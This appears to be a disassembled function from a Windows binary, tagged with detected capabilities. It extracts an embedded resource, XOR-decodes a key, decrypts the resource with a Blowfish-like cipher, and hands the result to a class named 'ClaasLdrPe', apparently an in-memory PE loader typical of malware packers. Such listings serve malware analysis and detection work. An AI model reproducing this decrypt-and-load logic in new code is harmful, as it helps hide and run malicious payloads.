Function at 0x401b00
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x10b8
call fcn.00404210
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x10b4], eax
push esi
xor eax, eax
push edi
xor edi, edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call fcn.00401930
push 0xa
push 2
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push edi
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
je 0x401b77
push ecx
push esi
lea ecx, [esp + 0x4c]
call fcn.00401f00
mov eax, dword [esp + 0x48]
mov edi, dword [esp + 0x44]
mov dword [esp + 0x24], eax
push esi
push dword [esp + 0x2c]
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
call fcn.00401930
movaps xmm0, xmmword [0x4063c0]
xor ecx, ecx
movups xmmword [esp + 0x2c], xmm0
mov word [esp + 0x3c], 0x77
nop
mov al, byte [esp + 0x2c]
xor byte [esp + ecx + 0x2d], al
inc ecx
cmp ecx, 0x10
jb 0x401ba0
xorps xmm0, xmm0
mov byte [esp + 0x3d], 0
lea esi, [esp + 0x2d]
movaps xmmword [esp + 0x50], xmm0
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401bc2
sub esi, ecx
cmp esi, 0x7fffffff
ja 0x401dff
cmp esi, 0xf
ja 0x401c0e
push esi
lea eax, [esp + 0x31]
mov dword [esp + 0x64], esi
push eax
lea eax, [esp + 0x58]
mov dword [esp + 0x6c], 0xf
push eax
call sub.msvcrt.dll_memcpy
mov byte [esp + esi + 0x5c], 0
mov ecx, dword [esp + 0x70]
mov esi, dword [esp + 0x6c]
mov edx, dword [esp + 0x5c]
jmp 0x401cb0
mov eax, esi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x401c4b
mov ecx, 0x7fffffff
mov eax, 0x80000000
mov dword [esp + 0xc], ecx
add eax, 0x23
push eax
call fcn.004023bc
add esp, 4
test eax, eax
je 0x401e09
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, dword [esp + 0xc]
jmp 0x401c88
mov ecx, 0x16
cmp eax, ecx
cmovb eax, ecx
mov dword [esp + 0xc], eax
lea ecx, [eax + 1]
cmp ecx, 0x1000
jb 0x401c71
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x401e04
jmp 0x401c2b
test ecx, ecx
je 0x401c86
push ecx
call fcn.004023bc
mov ecx, eax
add esp, 4
mov eax, dword [esp + 0xc]
jmp 0x401c88
xor ecx, ecx
mov dword [esp + 0x64], eax
lea eax, [esp + 0x2d]
push esi
push eax
push ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x6c], esi
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov byte [edx + esi], 0
add esp, 0xc
lea eax, [esp + 0x50]
cmp ecx, 0xf
lea ecx, [esp + 0x70]
cmova eax, edx
push esi
push eax
call section..text
mov ecx, dword [esp + 0x24]
xor eax, eax
sub ecx, edi
mov dword [esp + 0x28], eax
shr ecx, 3
mov dword [esp + 0x24], ecx
test ecx, ecx
je 0x401da4
nop dword [eax]
nop word [eax + eax]
lea ecx, [eax*8]
mov dword [esp + 0xc], 0x10
mov dword [esp + 0x10], ecx
lea esi, [esp + 0xb4]
nop word [eax + eax]
mov ecx, dword [ecx + edi]
lea esi, [esi - 4]
xor ecx, dword [esi + 4]
mov edx, dword [esp + 0x10]
mov eax, ecx
shr eax, 0x10
movzx eax, al
mov dword [esp + 0x40], ecx
mov dword [edx + edi], ecx
shr ecx, 0x18
mov edx, dword [esp + eax*4 + 0x4b8]
add edx, dword [esp + ecx*4 + 0xb8]
mov ecx, dword [esp + 0x40]
mov eax, ecx
shr eax, 8
movzx eax, al
xor edx, dword [esp + eax*4 + 0x8b8]
movzx eax, cl
mov ecx, dword [esp + 0x10]
add edx, dword [esp + eax*4 + 0xcb8]
xor edx, dword [ecx + edi + 4]
sub dword [esp + 0xc], 1
mov dword [ecx + edi + 4], edx
mov eax, dword [ecx + edi]
mov dword [ecx + edi], edx
mov dword [ecx + edi + 4], eax
jne 0x401d10
mov ecx, edx
mov edx, dword [esp + 0x10]
mov dword [edx + edi], eax
mov eax, dword [esp + 0x74]
xor eax, ecx
mov dword [edx + edi + 4], eax
mov eax, dword [esp + 0x70]
xor dword [edx + edi], eax
mov eax, dword [esp + 0x28]
inc eax
mov dword [esp + 0x28], eax
cmp eax, dword [esp + 0x24]
jb 0x401cf0
call fcn.00401930
test edi, edi
je 0x401dd7
push 4
call fcn.004023bc
add esp, 4
mov ecx, eax
mov dword [eax], vtable.ClaasLdrPe.0
mov edx, dword [fcn.004016f0]
push edi
cmp edx, fcn.004016f0
jne 0x401dd5
call fcn.004016f0
jmp 0x401dd7
call edx
lea ecx, [esp + 0x50]
call fcn.00401e60
lea ecx, [esp + 0x44]
call fcn.00401e10
mov ecx, dword [esp + 0x10bc]
pop edi
pop esi
xor ecx, esp
call fcn.004023a0
mov esp, ebp
pop ebp
ret 0x10
call fcn.004013a0
call fcn.00401300
call fcn.00403200
int3